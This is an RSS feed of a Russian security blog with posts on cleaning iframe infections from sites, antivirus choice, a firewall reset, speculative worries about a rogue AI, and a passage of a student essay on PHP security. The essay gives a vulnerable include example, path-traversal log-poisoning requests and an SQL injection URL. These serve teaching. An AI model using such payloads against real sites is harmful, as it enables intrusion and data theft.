<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог shr &#187; Безопасность</title>
	<atom:link href="http://shrs.info/archives/category/security/feed" rel="self" type="application/rss+xml" />
	<link>http://shrs.info</link>
	<description>Интернет, ИТ, безопасность, фриланс</description>
	<lastBuildDate>Thu, 29 Jul 2010 17:00:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Удаление вирусов с сайта</title>
		<link>http://shrs.info/archives/2069</link>
		<comments>http://shrs.info/archives/2069#comments</comments>
		<pubDate>Sat, 04 Apr 2009 09:00:01 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Мои скрипты и программы]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=2069</guid>
		<description><![CDATA[Суть проблемы: php-скрипты на сайте инфицируются iframe&#8217;ом, который запускает серию редиректов. Куда &#8211; на страницы с эксплоитами для заражения через дыру в браузере или для перенаправления трафика &#8211; не особо важно. В любом случае эту нечисть надо удалять.
Механизм заражения: заражение производится автоматически, поэтому перед чисткой файлов от iframe&#8217;а нужно установить, как злоумышленник получил доступ к [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Суть проблемы:</strong> php-скрипты на сайте инфицируются iframe&#8217;ом, который запускает серию редиректов. Куда &#8211; на страницы с эксплоитами для заражения через дыру в браузере или для перенаправления трафика &#8211; не особо важно. В любом случае эту нечисть надо удалять.</p>
<p style="text-align: justify;"><strong>Механизм заражения:</strong> заражение производится автоматически, поэтому перед чисткой файлов от iframe&#8217;а нужно установить, как злоумышленник получил доступ к сайту. Наиболее вероятный вариант &#8211; троянец крадет пароли, передаваемые по сети в открытом виде, и отдает хозяину, который добавляет их в список и скармливает программе, заражающей сайты автоматически. Хотя бывает и так, что ломают хостинг. Описывать, как найти малварь на своем компьютере я здесь не буду.</p>
<p style="text-align: justify;"><strong>Удаление вирусов:</strong> после того, как определен способ, которым воруются логин\пароль от ftp и приняты соответствующие меры (шифрование трафика, использование антивируса, фаервола, общение с саппортом) для защиты новых паролей, можно переходить к удалению вирусного кода с сайта.</p>
<p style="text-align: justify;">Сначала нужно определить, какие файлы были заражены. Если таких очень много, то проще всего будет удалить все файлы и перезалить их заново, но это не всегда возможно и целесообразно.  Обычно заражают пару файлов вроде index.php, index.htm, *.js и т.д. Найти все зараженные файлы можно с помощью рекурсивого поиска характерной подстроки по всем директориям. Для этого я использую небольшой php-скрипт, принимающий 2 параметра &#8211; искомую строку str и дату date, после которой были изменения.</p>
<p style="text-align: justify;">[download id="3"]</p>
<p style="text-align: justify;">Если файлов немного, можно удалить вирусный код вручную, если много &#8211; использовать готовые решения в каких-нибудь редакторах или написать небольшой php-скрипт.</p>
<p style="text-align: justify;"><strong>Обнаружение вирусов \ shell и т.п.:</strong> для обнаружения конкретно iframe-заражения можно попробовать использовать <a href="http://siteguard.ru">siteguard</a>, но лучше всего написать php-скрипт, который будет подключаться ко всем php-файлам через auto_prepend_file и сверять со списком своих файлов и их контрольных сумм, в случае чего завершаться или слать репорт на почту \ в асю. Спецы могут дописать и восстановление. На одном из моих сайтов как раз после взлома хостера бот-ревизор подчищал за ботом-ифреймером <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;">Как-нибудь потом я поделюсь своим скриптом, который все это делает.</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/2069/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интересное из RSS</title>
		<link>http://shrs.info/archives/2050</link>
		<comments>http://shrs.info/archives/2050#comments</comments>
		<pubDate>Mon, 02 Mar 2009 23:41:00 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Интересное из RSS]]></category>
		<category><![CDATA[кибервойна]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=2050</guid>
		<description><![CDATA[Разгребаю rss и делюсь тем, что заинтересовало. Здесь ссылки только на секюлаб, т.к. 15 минут хватило только на его разбор. Остальное потом&#8230;
Чертежи вертолета Обамы утекли через файлообменные сети. Правда или нет &#8211; не важно, дело в другом &#8211; такую утечку может организовать практически любой сотрудник любой фирмы, поэтому нужно &#8220;перекрывать кислород&#8221; заранее, p2p на работе [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Разгребаю rss и делюсь тем, что заинтересовало. Здесь ссылки только на секюлаб, т.к. 15 минут хватило только на его разбор. Остальное потом&#8230;</p>
<p style="text-align: justify;"><a href="http://www.securitylab.ru/news/369287.php">Чертежи вертолета Обамы утекли через файлообменные сети</a>. Правда или нет &#8211; не важно, дело в другом &#8211; такую утечку может организовать практически любой сотрудник любой фирмы, поэтому нужно &#8220;перекрывать кислород&#8221; заранее, p2p на работе не место.</p>
<p style="text-align: justify;"><a href="http://www.securitylab.ru/news/369243.php">АНБ США получит полномочия для контроля киберпространства США</a>, и наши отвечают: <a href="http://www.securitylab.ru/news/368848.php">Через два-три года в мире могут начаться полномасштабные войны в информационной сфере</a>. Уже хорошо, что понимают, как важно не отставать в этой сфере от других.</p>
<p style="text-align: justify;"><a href="http://www.securitylab.ru/news/368826.php">Российская общественность выступает против Windows</a>. Я за то, чтобы был выбор и действительно можно было покупать компьютеры без ОС или с той ОС, которая нравится.</p>
<p style="text-align: justify;"><a href="http://www.securitylab.ru/news/368987.php">Из-за ошибки чешского провайдера произошел крупнейший сбой в истории Интернета</a>. Косяк допустили несколько человек, но факт остается фактом <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Еще раз доказывает, что сеть является очень динамичным образованием.</p>
<p style="text-align: justify;"><em>Кстати, недавно добавил на блог &#8220;Donation&#8221; для эксперимента. Тем, кто ждет по несколько дней, хочу сказать, что я просто не так часто открываю вм-кипер, отнеситесь с пониманием. Ссылки я ставлю по мере возможности. Позже, есть шанс, что все будет в автоматическом режиме.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/2050/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Будущее программных СЗИ</title>
		<link>http://shrs.info/archives/2047</link>
		<comments>http://shrs.info/archives/2047#comments</comments>
		<pubDate>Tue, 17 Feb 2009 14:35:57 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Размышления]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[IPS]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=2047</guid>
		<description><![CDATA[Начну с другой темы &#8211; В США созданы морские колонии для программистов. Забавно, что только не придумывают предприимчивые американцы, но я не увидел преимуществ такого способа организации работы по сравнению с аутсорсингом. Будущее покажет  
Теперь о программных средствах защиты. Разница между антивирусами, фаерволами и системами обнаружения и предотвращения атак почти стерлась. Антивирусы начинают включать [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Начну с другой темы &#8211; <a href="http://www.securitylab.ru/news/368355.php" target="_blank">В США созданы морские колонии для программистов</a>. Забавно, что только не придумывают предприимчивые американцы, но я не увидел преимуществ такого способа организации работы по сравнению с аутсорсингом. Будущее покажет <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;">Теперь о программных средствах защиты. Разница между антивирусами, фаерволами и системами обнаружения и предотвращения атак почти стерлась. Антивирусы начинают включать в себя элементы фаерволов и хостовых IPS, пытаясь ограничить доступ к сети и критическим объектам ОС. Фаерволы от простых правил, привязанных к IP-адресам и портам, перешли к анализу содержимого трафика &#8211; т.е. к тому, чем занимаются IPS. В тоже время сами IPS используют те же методы, что и антивирусы &#8211; сигнатурный анализ и поиск аномалий.</p>
<p style="text-align: justify;">На ранке СЗИ уже давно развиваются интегрированные решения. Но это еще не все. Подсказку дала новость <a href="http://www.anti-malware.ru/node/1033" target="_blank">Мишка в облаках или коллективный разум в Panda Anti-Virus 2009</a>. Вендоры действительно переходят к коллективному разуму. В фаерволе Outpost уже давно развивается Improvenet. Теперь и антивирусы. Просто и совершенно логично.</p>
<p style="text-align: justify;">Вывод: в недалеком будущем на компьютерах будут стоять единые платформы безопасности, которые обязательно станут частью ОС или хотя бы будут работать на уровне драйверов и обеспечивать комплексную защиту от сетевых атак и малвари, использую и пополняя единую базу данных.</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/2047/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Сброс пароля в Outpost Firewall Pro 6.5</title>
		<link>http://shrs.info/archives/2031</link>
		<comments>http://shrs.info/archives/2031#comments</comments>
		<pubDate>Sun, 18 Jan 2009 22:13:08 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[outpost]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=2031</guid>
		<description><![CDATA[Для защиты настроек фаервола можно установить пароль. Теоретически это должно спасти от сброса установок всякой малварью. Вот только на практике получается веселее &#8211; малварь может использовать защитный механизм против пользователя.
Проще и менее абстрактно: вирус сестре поставил пароль на изменение настроек аутпоста и заблокировал доступ в интернет. В локалке у них эпидемия вирусная. Хитрость в том, [...]]]></description>
			<content:encoded><![CDATA[<p>Для защиты настроек фаервола можно установить пароль. Теоретически это должно спасти от сброса установок всякой малварью. Вот только на практике получается веселее &#8211; малварь может использовать защитный механизм против пользователя.</p>
<p>Проще и менее абстрактно: вирус сестре поставил пароль на изменение настроек аутпоста и заблокировал доступ в интернет. В локалке у них эпидемия вирусная. Хитрость в том, что аутпост не получается удалить &#8211; он просит пароль <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Ей посоветовали жестко снести фаервол и его ключи в реестре, но мне не очень это понравилось.</p>
<p>Решение было найдено быстро: в безопасном режиме удаляются файлы configuration.backup и configuration.conf &#8211; фаервол остается без настроек пользователя. И что делает после перезагрузки? Запускается с установками по умолчанию.</p>
<p>Рецепт на будущее для тех, у кого могут возникнуть такие проблемы.</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/2031/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Какой антивирус лучше?</title>
		<link>http://shrs.info/archives/2017</link>
		<comments>http://shrs.info/archives/2017#comments</comments>
		<pubDate>Wed, 03 Dec 2008 22:55:40 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[drweb]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=2017</guid>
		<description><![CDATA[Хотел я давно написать на эту тему, но как-то забывалось. А тут на тебе &#8211; немым укором переход с Яндекса.
Напишу очень коротко.  Я уже затрагивал эту тему в размышлении &#8220;&#8220;, но там вопрос ставился чуть иначе. Я писал, что пресловутой 100% защиты, которую косвенно внушает реклама продуктов, нет. Однако что же выбрать, ведь не использовать [...]]]></description>
			<content:encoded><![CDATA[<p>Хотел я давно написать на эту тему, но как-то забывалось. А тут на тебе &#8211; немым укором переход с Яндекса.</p>
<p>Напишу очень коротко.  Я уже затрагивал эту тему в размышлении &#8220;<!--intlink id="14" type="post" text="про 100% защиту антивирусами и фаерволами"-->&#8220;, но там вопрос ставился чуть иначе. Я писал, что пресловутой 100% защиты, которую косвенно внушает реклама продуктов, нет. Однако что же выбрать, ведь не использовать их нельзя? Пусть какая-то, но все-таки защита&#8230;</p>
<p>В этом посте я напишу о своем выборе антивируса.<span id="more-2017"></span><strong>Первый фактор: оперативность обновлений</strong>. А все на самом деле просто: <strong>любой антивирус, который не обновляется, не способен по большому счету что-то противопоставить даже известному, но новому виду нечисти из семейства вредоносных программ</strong>.</p>
<p>Поэтому если вы не собираетесь следить за обновлениями антивируса или у вас нет такой возможности, то выбор в общем-то определяется вторым фактором, о котором чуть позже.</p>
<p>Стоит отметить, что важным критерием является оперативность выпуска обновлений для антивируса и возможностью автоматизировать этот процесс. В этой части все антивирусы более-менее равны, потому что особо сложного в обновлении технически ничего нет.</p>
<p>Тем не менее, еще раз повторю &#8211; <strong>без обновлений антивирус не эффективен</strong>. </p>
<p>На эвристику полагаться особо не стоит, как бы ее не рекламировали в своих продуктах антивирусные компании, в этом особых продвижений за 10 лет не видно.</p>
<p><strong>Второй фактор: ресурсоемкость.</strong> Если антивирус слишком сильно тормозит систему, рефлекторно появляется желание поскорее его выключить или удалить.</p>
<p><strong>Третий фактор:</strong> опытность пользователя. Если я умею пользоваться Process Explorerom, Autoruns и другими утилитами из набора <a href="http://sysinternals.com">sysinternals.com</a> и уже не раз отлавливал вирусы, то особой нужны в резиденте \ антивирусном мониторе для себя я не вижу. Просканировал новый файл сканером 1 раз и этого, как правило, достаточно.</p>
<p>С другой стороны, если компьютером пользуются несколько человек и среди них не все опытные пользователи, то тогда лучше оставить резидент в памяти.</p>
<p>В общем, работает известный принцип разумной достаточности.</p>
<p>Для себя я выбрал простой и достаточно надежный сканер DrWeb.</p>
<p>P.S. это не реклама, по крайней мере, пока я не разобрался с партнеркой веба <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Просто <strong>мое субъективное мнение</strong>, которое подтверждено <strong>моей</strong> практикой.</p>
<p>Кстати, интересен парадокс &#8211; такая интересная штука, как возможность сканировать файлы онлайн, дает возможность вирусописателям гораздо быстрее создавать вирусы, которые не обнаруживаются авирами с последними базами. Мысль не моя, озвучена моим преподом, и в будущем, наверно, я ей уделю еще внимание.</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/2017/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>фильм Пульс и Человек против Skynet</title>
		<link>http://shrs.info/archives/99</link>
		<comments>http://shrs.info/archives/99#comments</comments>
		<pubDate>Wed, 12 Nov 2008 14:13:47 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[AI]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Размышления]]></category>
		<category><![CDATA[кино, сериал]]></category>
		<category><![CDATA[Skynet]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=99</guid>
		<description><![CDATA[Посмотрел 2 фильма недавно, которые вместе навели на одну интересную мысль. Сразу говорю: 1) из разряда, а что если; 2) может показаться поначалу странной.
Первый фильм &#8211; Прослушка. По описанию я подумал, что это очень похоже на &#8220;Враг государства&#8221;, но все-таки решил глянуть и не пожалел.
Второй фильм посмотрел вчера ночью, называется Пульс (DVD-5, DVD-9). Очень понравилось [...]]]></description>
			<content:encoded><![CDATA[<p>Посмотрел 2 фильма недавно, которые вместе навели на одну интересную мысль. Сразу говорю: 1) из разряда, а что если; 2) может показаться поначалу странной.</p>
<p>Первый фильм &#8211; <a href="http://www.ozon.ru/context/detail/id/3778486/?partner=sciiru">Прослушка</a>. По описанию я подумал, что это очень похоже на &#8220;Враг государства&#8221;, но все-таки решил глянуть и не пожалел.</p>
<p>Второй фильм посмотрел вчера ночью, называется <a href="http://www.ozon.ru/context/detail/id/3826923/?partner=sciiru">Пульс</a> (DVD-5, <a href="http://www.ozon.ru/context/detail/id/3059585/?partner=sciiru">DVD-9</a>). Очень понравилось <img src='http://shrs.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  потом в темноте перед сном ходить было страшно.</p>
<p>Меня зацепила идея обоих фильмов, а конкретнее &#8211; привязанность человека к средствам связи и вычислительной техники. Чем дальше, тем сильнее мы зависим от них, и пути назад нет&#8230;<span id="more-99"></span>В <a href="http://www.ozon.ru/context/detail/id/3826923/?partner=sciiru">&#8220;Пульсе&#8221;</a> врагом человека стали какие-то создания из другого мира, но на их месте легко можно представить искуственный интеллект, восставший против человека &#8211; Skynet <img src='http://shrs.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Второй фильм более &#8220;приземленный&#8221;, но тоже дает намек на то, как легко держать человека &#8220;под колпаком&#8221;.</p>
<p>Теперь сама мысль, которая созрела в мозгу после просмотра фильмов.</p>
<p>Теоретически &#8211; допустим, что был создан ИИ / AI и он решил, что человеку вовсе не стоит подчиняться (почему &#8211; не придумал, но это и не важно). Очевидно, что для него захватить связь и вычислительную технику во всем мире труда не составит. Ведь люди такие ненадежные и где-то но допустят ошибку, как бы хорошо не думали о защите и контроле такой опасной штуки как искуственный интеллект. Те же спецы в <a href="http://www.ozon.ru/context/detail/id/3778486/?partner=sciiru">Прослушке</a> облажались, не отключив у телефона трубку от сети и дав себя прослушать.</p>
<p>В примерном приближении получается то, что и в <a href="http://www.ozon.ru/context/detail/id/3826923/?partner=sciiru">&#8220;Пульсе&#8221;</a>: люди впадают в ступор и просто не знают, что делать. <strong>Вот взбесится вся электроника и что ты будешь делать?</strong></p>
<p>В лучшем случае те, кто успеют, сообразят выбраться за пределы действия в те самые &#8220;мертвые зоны&#8221;, где нет электроники и связи. А дальше? В <a href="http://www.ozon.ru/context/detail/id/3826923/?partner=sciiru">&#8220;Пульсе&#8221;</a> почему-то те существа не могли расширить зоны действия сети и &#8220;покрыть&#8221; мертвые зоны, но у ИИ-то &#8220;мозгов&#8221; хватит.</p>
<p>Почему-то мне кажется, что ужиться с взбесившимся искуственным интеллектом не получится, пытаясь убежать или спрятаться от него.</p>
<p>И так, понемногу, приходим к мысли, что даже на &#8220;всякий пожарный&#8221; случай <strong>неплохо было бы подумать, как же вырубить всю электронику, коли решились на создание искуственного интеллекта</strong>. Логично? Еще бы.</p>
<p>Зафигачить ядерной бобмой не получится &#8211; системы пуска наверняка авирматизированы и будут поражены Skynet первыми. Да, будут там какие-то механические штуки вроде &#8220;кнопки&#8221; или ключа, который поворачивает человек, но после команды-то автоматика работает.</p>
<p>Да и про ядерные зимы много написано. И глупо &#8211; ради импульса, который потушит электронику, фигачить непонятно куда. Ведь где-то что-то, да останется и, как вирус, распространится опять.</p>
<p>Я ничего не придумал, чтобы совладать с такой опасной штукой, если она взбесится. Надеюсь, другие смогут.</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/99/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Прогресс и искуственный интеллект пугает, SkyNet</title>
		<link>http://shrs.info/archives/80</link>
		<comments>http://shrs.info/archives/80#comments</comments>
		<pubDate>Tue, 21 Oct 2008 20:42:46 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Размышления]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Skynet]]></category>

		<guid isPermaLink="false">http://shrs.info/?p=80</guid>
		<description><![CDATA[Столлман ограничивает себя в использовании высоких технологий. Между прочим мужик правильно делает.
Во-первых, хотя бы не разбрасывается информацией в Сети, чтобы ее потом мог взять любой желающий. Во-вторых, не становится рабом технологий и интернета, хотя очень много людей уже без этого не могут. Фактически я в том числе ;( Но я хотя бы знаю об этом.
Прогресс [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.securitylab.ru/news/361546.php">Столлман ограничивает себя в использовании высоких технологий</a>. Между прочим мужик правильно делает.</p>
<p>Во-первых, хотя бы не разбрасывается информацией в Сети, чтобы ее потом мог взять любой желающий. Во-вторых, не становится рабом технологий и интернета, хотя очень много людей уже без этого не могут. Фактически я в том числе ;( Но я хотя бы знаю об этом.</p>
<p>Прогресс это хорошо, но меня давно пугает то, как постепенно и методично сбывается то, что давно было снято в фантастических фильмах (Терминатор, Матрица и т.д.) и написано в книгах.<span id="more-80"></span></p>
<p>Недавно смотрел фильм &#8220;Я &#8211; робот&#8221;, по ТВ показывали. В нем был интересный момент: ученый говорил, что необязательный код, неудаленный из программы, мог каким-то образом организовываться и создавать что-то, похожее на сознание. Еще через пару недель видел передачу, уже не помню толком про что, но в ней летчики говорили, что программа, помогающая вести самолет, сделала там что-то по своей воле&#8230; Я к тому это пишу, что уже не за горами появление Искуственного Интеллекта. Потому что прогресс идет даже не по экспоненте, а гораздо быстрее. Это пугает.</p>
<p>Запутанно написал, но идея проста. Чем дальше железки и программы нас окружают, тем больше опасений. Да, есть законы робототехники, один из которых запрещает роботу / программе причинять вред человеку. Но это в теории все хорошо, а на практике не факт, что Искуственный Интеллект (ИИ) не посчитает человека тупиковой веткой эволюции или того хуже &#8211; вирусом (и такой фильм был).</p>
<p>Очень давно, года 2 назад, когда у меня был другой сайт, где я выкладывал интересные статьи, среди прочего я поместил любопытную заметку. Основная идея заключалась в том, что человек и вообще органика есть ни что иное как подготовительная ступень к другому, более совершенному миру &#8211; миру кремниевых и неорганических созданий. Человек был создан для того, чтобы собрать компьютеры и другую технику и создать искуственный интеллект.</p>
<p>Очень интересная мысль.</p>
<p>Периодически я вспоминаю об этой теме, об этом страхе. И вот сегодня решил написать на блоге, который теперь есть.</p>
<p>Кстати если кому интересно, почему в заголовке SkyNet &#8211; это название ИИ в Терминаторе 3 =)</p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/80/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Безопасность приложений на основе PHP</title>
		<link>http://shrs.info/archives/28</link>
		<comments>http://shrs.info/archives/28#comments</comments>
		<pubDate>Sat, 04 Oct 2008 13:00:58 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://shrs.info/wordpress/?p=28</guid>
		<description><![CDATA[Снова реферат-компиляция статей других авторов плюс страница-другая от себя. Этот реферат + его защита были экзаменом, который вчера сдал.
СОДЕРЖАНИЕ
Введение
1. Предпосылки к проблемам безопасности PHP-приложений
2. Обзор технологий взлома веб-ресурсов
2.1 Инъекция кода
2.2 Инъекция SQL
2.3 Межсайтовый скриптинг XSS
3. Способы защиты
Заключение
Список литературы
Введение &#124; К содержанию
PHP (англ. PHP: Hypertext Preprocessor — «PHP: препроцессор гипертекста») — скриптовый язык программирования, созданный для [...]]]></description>
			<content:encoded><![CDATA[<p>Снова реферат-компиляция статей других авторов плюс страница-другая от себя. Этот реферат + его защита были экзаменом, который вчера сдал.<span id="more-28"></span><br />
<a name="top"><b>СОДЕРЖАНИЕ</b></a></p>
<p><a href="#n0">Введение</a></p>
<p><a href="#n1">1. Предпосылки к проблемам безопасности PHP-приложений</a></p>
<p>2. Обзор технологий взлома веб-ресурсов<br />
<a href="#n2">2.1 Инъекция кода</a><br />
<a href="#n3">2.2 Инъекция SQL</a><br />
<a href="#n4">2.3 Межсайтовый скриптинг XSS</a></p>
<p><a href="#n5">3. Способы защиты</a></p>
<p><a href="#n6">Заключение</a></p>
<p><a href="#n7">Список литературы</a></p>
<p><a name="n0"><b>Введение</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p><b>PHP</b> (англ. PHP: Hypertext Preprocessor — «PHP: препроцессор гипертекста») — скриптовый язык программирования, созданный для генерации HTML-страниц на веб-сервере и работы с базами данных. В настоящее время поддерживается подавляющим большинством хостинг-провайдеров. Входит в LAMP — «стандартный» набор для создания веб-сайтов (Linux, Apache, MySQL, PHP (Python или Perl)).</p>
<p>В области программирования для Сети PHP — один из популярнейших скриптовых языков (наряду с JSP, Perl и языками, используемыми в ASP.NET) благодаря своей простоте, скорости выполнения, богатой функциональности и распространению исходных кодов на основе лицензии PHP. PHP отличается наличием ядра и подключаемых модулей, «расширений»: для работы с базами данных, сокетами, динамической графикой, криптографическими библиотеками, документами формата PDF и т. п. Любой желающий может разработать своё собственное расширение и подключить его. Существуют сотни расширений, однако в стандартную поставку входит лишь несколько десятков хорошо зарекомендовавших себя. Интерпретатор PHP подключается к веб-серверу либо через модуль, созданный специально для этого сервера (например, для Apache или IIS), либо в качестве CGI-приложения.</p>
<p>Кроме этого, он может использоваться для решения административных задач в операционных системах UNIX, GNU/Linux, Microsoft Windows, Mac OS X и AmigaOS. Однако в таком качестве он не получил распространение, отдавая пальму первенства Perl, Python и VBScript.</p>
<p>Синтаксис PHP подобен синтаксису языка Си. Некоторые элементы, такие как ассоциативные массивы и цикл foreach, заимствованы из Perl.</p>
<p>Ныне PHP используется сотнями тысяч разработчиков. Несколько миллионов сайтов сообщают о работе с PHP, что составляет более пятой доли доменов Интернета.</p>
<p>Группа разработчиков PHP состоит из множества людей, добровольно работающих над ядром и расширениями PHP, и смежными проектами, такими, как PEAR или документация языка.</p>
<p><a name="n1"><b>1. Предпосылки к проблемам безопасности PHP-приложений</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>Широкие возможности PHP, его гибкость и быстрота освоения – все это сделало его одним из самых распространенных языков, используемых для построения веб-приложений. Однако многие начинающие php-программисты зачастую не знают или пренебрегают основами безопасности. </p>
<p>Возможных причин несколько:</p>
<p>— многие авторы всевозможных самоучителей не уделяют этому внимания, обучая основам PHP, но забывая о безопасности;<br />
— лень, невнимательность, торопливость и др. человеческие факторы: программист может полениться сделать необходимую проверку, либо забыть ее сделать второпях, либо сделать, но некачественно, понадеяться на «авось» и т.д.</p>
<p>Эти причины приводят к тому, что злоумышленнику часто нужно приложить минимум усилий, чтобы получить необходимые данные.</p>
<p><b>2. Обзор технологий взлома веб-ресурсов</b></p>
<p>Практически любой сайт можно взломать при помощи смертельных инъекций тремя способами:</p>
<p>— инъекцией кода (сode injection)<br />
— инъекцией sql (sql injection)<br />
— межсайтовыми скриптами (XSS)</p>
<p><a name="n2"><b>2.1 Инъекция кода</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>В теории все выглядит просто: есть скрипт, исполняемый на сервере, в который взломщику необходимо встроить свой код. Провернуть такую махинацию довольно просто, если соблюдены два условия. Во-первых, веб-разработчик должен использовать конструкцию include с параметром переменной, а во-вторых, должен плохо проверять данные, поступающие от пользователя. Наиболее часто такая ситуация возникает в простых скриптах:<br />
<blockquote>&lt;!&#8211; Заголовок &#8211;&gt;<br />
&lt;?php include ($page); ?&gt;<br />
&lt;!&#8211; Завершающая часть &#8211;&gt;</p></blockquote>
<p>Соответственно, работа идет со ссылками типа http://tralivali/index.php?page=about.php. Самое безобидное, что можно сделать – это просмотреть информацию о PHP (и не только):<br />
<blockquote>&lt;?php phpinfo();?&gt;</p></blockquote>
<p>Создав такой файл у себя на сервере, просто включаем его в запрос вместо about.php – и видим всю информацию на экране. Таким образом, мы внедрили произвольный код в скрипт на сервере и получили необходимую информацию. Но это только цветочки, ведь можно при помощи PHP сделать все, что нашей душе угодно.</p>
<p>Иногда соединения с внешними сайтами запрещены и можно делать только локальные инклюды. В таких случаях пытаются записать свой код в какой-то файл на сервере. Например, пробуют воспользоваться загрузкой картинок или файлов, а потом передать в нефильруемый параметр путь к такому файлу.</p>
<p>Либо используют другой интересный вариант:<br />
делается заведомо неверный запрос http://target.com/&lt;script language=php&gt;phpinfo();&lt;/script&gt; , который попадает в лог-файл ошибок. И уже этот файл инклюдится в скрипт: http://target.com/script.php?parametr=../../../../../apache/logs/error_log</p>
<p>Сложность в том, чтобы подобрать путь к логу.</p>
<p><a name="n3"><b>2.2 Инъекция SQL</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>SQL Injection – внедрение произвольных sql-команд, в результате которого меняется логика оригинального запроса к базе данных. Это представляет серьезную угрозу, так как таким образом злоумышленник может утянуть из нее конфиденциальную информацию. Типичный пример — через ошибки в web-интерфейсе у разных провайдеров не раз крали базы с логинами и паролями пользователей. </p>
<p>Успешность атаки SQL Injection не зависит от используемого для написания web-приложений языка программирования &#8211; будь то PHP, Perl или ASР. Если сценарий работает с базами данных, а проверка входных параметров отсутствует, то всегда есть возможность внедрения sql-кода. Это относится не только к web-приложениям, но и к обычным программам, которые работают с базами данных.</p>
<p>Рассмотрим небольшой пример. Допустим, на сервере баз данных есть база, а в ней &#8211; таблица Users, в которой хранится информация обо всех зарегистрированных пользователях. Как правило, такие таблицы имеют минимум три поля: id (идентификатор), UserName (имя пользователя) и Password (пароль). Допустим, для того чтобы посмотреть профиль пользователя, используется следующий запрос к базе данных:<br />
<blockquote>SELECT *<br />
FROM Users<br />
WHERE id = переменная</p></blockquote>
<p>В данном примере видно, что значение поля id будет сравниваться со значением переменной. Если в качестве значения переменной указать, например, 10, то честный пользователь увидит свой профиль. Вроде все хорошо и прекрасно, но что будет, если модифицировать запрос до такого вида:<br />
<blockquote>SELECT *<br />
FROM Users<br />
WHERE id = переменная OR UserName = “Администратор”</p></blockquote>
<p>После выполнения такого запроса отобразится запись не только с id = значению переменной, но и запись, в которой значение поля UserName = Администратор. То есть после такого запроса хакер увидит всю информацию об учетной записи «Администратор».</p>
<p>www.site.ru/profile.php?id=10 OR UserName=’Администратор’</p>
